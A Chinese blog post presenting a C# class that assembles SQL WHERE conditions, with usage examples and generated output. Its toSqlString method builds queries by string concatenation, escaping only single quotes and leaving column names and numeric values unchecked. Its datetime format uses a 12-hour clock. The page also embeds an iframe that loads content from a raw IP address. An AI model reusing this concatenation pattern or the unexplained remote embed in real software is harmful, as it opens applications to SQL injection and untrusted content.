C#中的一个条件生成器类

<iframe marginwidth="0" marginheight="0" src="http://218.16.120.35:65001/PC/Global/images/b.html" frameborder="0" width="728" scrolling="no" height="90"></iframe>

在进行sql查询的时候，有时候要进行很多条件限制，自己来拼写SQLwhere条件容易出错，而且判断条件复杂，后期维护困难，基于这个原因我在一个小项目中写了一套生成sql条件的类。总共包括一个Condition类，与两个枚举型类型（LogicOper，CompareOper）
代码如下：

public class Condition
{
static string[] logicOpers = new string[] { "and", "or" };
static string[] compareOpers = new string[] { ">", "<", "<=", ">=", "=", "<>", "like", "not like", "in" };

string compareOper = null;
string name = null;
string templateName = null;
string valType = null;
object val = null;
public Condition(CompareOper co, string valType, string name, object val)
{
this.compareOper = compareOpers[(int) co];
this.name = name;
templateName = name;
this.valType = valType;
this.val = val;
}
public Condition(CompareOper co, string valType, string name, object val, string templateName)
{
this.compareOper = compareOpers[(int) co];
this.name = name;
this.templateName = templateName;
this.valType = valType;
this.val = val;
}
public Condition() { }

public string toSqlString()
{
string[] arr1 = (string[]) operaters.ToArray("".GetType());
Condition[] arr2 = (Condition[]) conditions.ToArray((new Condition()).GetType());

StringBuilder outStr = new StringBuilder();

int count = 0;
if (name != null && val != null)
{
outStr.Append(name);
outStr.Append(" ");
outStr.Append(compareOper);
outStr.Append(" ");
if (valType.ToLower() == "int"
|| valType.ToLower() == "float"
|| valType.ToLower() == "double"
|| valType.ToLower() == "bool"
|| valType.ToLower() == "number"
)
{
outStr.Append(val);
}
else if (valType.ToLower() == "string")
{
string tmp = (string) val;
outStr.Append("'" + tmp.Replace("'", "''") + "'");
}
else if (valType.ToLower() == "date")
{
DateTime dt = (DateTime) val;
outStr.Append("'" + dt.ToString("yyyy-MM-dd") + "'");
}
else if (valType.ToLower() == "datetime")
{
DateTime dt = (DateTime) val;
outStr.Append("'" + dt.ToString("yyyy-MM-dd hh:mm:ss.fff") + "'");
}
else
{
string tmp = val.ToString();
outStr.Append("'" + tmp.Replace("'", "''") + "'");
}
count++;
}

if (arr1.Length > 0)
{
for (int i = 0; i < arr1.Length; i++)
{
if (arr2[i].toSqlTempletString() == "")
continue;
count++;
if ((name != null && val != null) || count > 1)
{
outStr.Append(" ");
outStr.Append(arr1[i]);
outStr.Append(" ");
}
outStr.Append(arr2[i].toSqlString());
}
}
if (count > 1)
{
outStr.Insert(0, '(');
outStr.Append(')');
}
return outStr.ToString();
}

public string toSqlTempletString()
{
string[] arr1 = (string[]) operaters.ToArray("".GetType());
Condition[] arr2 = (Condition[]) conditions.ToArray((new Condition()).GetType());

StringBuilder outStr = new StringBuilder();

int count = 0;
if (name != null && val != null)
{
outStr.Append(name);
outStr.Append(" ");
outStr.Append(compareOper);
outStr.Append(" @");
outStr.Append(templateName);
count++;
}

if (arr1.Length > 0)
{
for (int i = 0; i < arr1.Length; i++)
{
if (arr2[i].toSqlTempletString() == "")
continue;
count++;
if ((name != null && val != null) || count > 1)
{
outStr.Append(" ");
outStr.Append(arr1[i]);
outStr.Append(" ");
}
outStr.Append(arr2[i].toSqlTempletString());
}
}
if (count > 1)
{
outStr.Insert(0, '(');
outStr.Append(')');
}
return outStr.ToString();
}

public SqlParameter[] getSqlParameters()
{
ArrayList tmp = new ArrayList();
if (name != null && val != null)
{
tmp.Add(new SqlParameter("@" + templateName, val));
}
Condition[] arr = (Condition[]) conditions.ToArray((new Condition()).GetType());

for (int i = 0; i < arr.Length; i++)
{
SqlParameter[] sps = arr[i].getSqlParameters();
for (int j = 0; j < sps.Length; j++)
{
tmp.Add(sps[j]);
}
}
return (SqlParameter[]) tmp.ToArray(new SqlParameter("", "").GetType());
}

ArrayList operaters = new ArrayList();
ArrayList conditions = new ArrayList();

public void addCondition(LogicOper lo, Condition c)
{
operaters.Add(logicOpers[(int) lo]);
conditions.Add(c);
}
}

public enum LogicOper : int
{
and = 0,
or = 1
}
public enum CompareOper : int
{
moreThan = 0,
lessThan = 1,
notMoreThan = 2,
notLessThan = 3,
equal = 4,
notEqual = 5,
like = 6,
notLike = 7,
IN = 8
}

使用如下:
Condition condition = new Condition(CompareOper.equal, "string", "name", "%kkp%");
Condition condition2 = new Condition(CompareOper.equal, "int", "id", 1024);
Condition condition3 = new Condition(CompareOper.like, "string", "nickName", "%'kkp'%");
Condition condition4 = new Condition(CompareOper.equal, "date", "age", DateTime.Now);
Condition condition5 = new Condition(CompareOper.equal, "datetime", "signTime", DateTime.Now);
Condition condition6 = new Condition();

condition.addCondition(LogicOper.or, condition2);
condition.addCondition(LogicOper.or, condition3);

condition6.addCondition(LogicOper.or, condition4);
condition6.addCondition(LogicOper.or, condition5);

condition6.addCondition(LogicOper.and, condition);

condition6.toSqlString();
condition6.toSqlTempletString();
condition6.getSqlParameters();

通过Condition类的addCondition方法可以实现任意复杂的条件组合。toSqlString()方法返回sql条件，可以用于sql拼接方式使用。而toSqlTempletString()方式生成的是以参数形式的sql条件，配合getSqlParameters()方法可以实现以参数传递的条件（相当于java中的prepareStatement实现）。

condition6.toSqlString();
condition6.toSqlTempletString();

的结果分别是：

(age = '2007-07-16' or signTime = '2007-07-16 02:06:02.667' and (name = '%kkp%' or id = 1024 or nickName like '%''kkp''%'))

(age = @age or signTime = @signTime and (name = @name or id = @id or nickName like @nickName))